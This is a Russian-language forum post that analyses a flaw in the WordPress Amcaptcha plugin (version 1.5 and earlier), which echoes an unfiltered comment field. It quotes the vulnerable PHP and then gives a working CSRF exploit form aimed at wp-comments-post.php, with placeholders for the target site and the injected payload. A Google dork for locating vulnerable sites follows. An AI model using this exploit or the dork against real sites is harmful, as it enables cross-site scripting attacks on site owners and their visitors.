
04.04.2010, 21:06
|
|
Участник форума
Регистрация: 30.09.2009
Сообщений: 148
Провел на форуме: 11581319
Репутация:
241
|
|
WordPress - Amcaptcha plugin ( amcaptcha.php ) <= 1.5 CSRF
Ошибка в коде в функции:
PHP код:
function comment_post ($id){
global $user_ID;
global $langs;
$texts = $langs[get_option('ac_lang')];
if ($user_ID)
return $id;
if ($_POST[$_SESSION['amcaptcha_session']] != '1'){
wp_delete_comment($id);
echo
"<strong>".$texts['error']."</strong><br/><br/>".$_POST['comment'];
exit;
}
}
а точнее:
PHP код:
if ($_POST[$_SESSION['amcaptcha_session']] != '1'){
wp_delete_comment($id);
echo
"<strong>".$texts['error']."</strong><br/><br/>".$_POST['comment'];
exit;
}
если чел не передал сессию этого модуля ( а точнее не отметил чекбокс --
"Подтверждаю, что я не спам-бот" ) то модуль выдает ошибку и при этом не
фильтрует $_POST['comment'].
Сам сплойт выглядит так :
Код:
<html>
<head>
<title>WordPress - Amcaptcha plugin ( amcaptcha.php ) <= 1.5 CSRF
Exploit</title>
<!--
Vulnerability found by total90, exploit written by Dr.TRO
-->
</head>
<body>
<form action="http://[Домен][Путь к WP]wp-comments-post.php" method="post"
name="commentform">
<input type="hidden" name="author" value="Dr.TRO" />
<input type="hidden" name="email" value="drtro.public@gmail.com" />
<input type="hidden" name="comment" value="[Уязвимое место]" />
<input type="hidden" name="comment_post_ID" value="[ID существующего
поста]" />
<input type="submit" name="submit" value="Request" />
</form>
</body>
</html>
Анализ кода и сплойт by Dr.TRO
Google dork: Для того, чтобы иметь возможность комментировать, включите
JavaScript в Вашем браузере.
Последний раз редактировалось total90; 05.04.2010 в 22:41..
|
|
|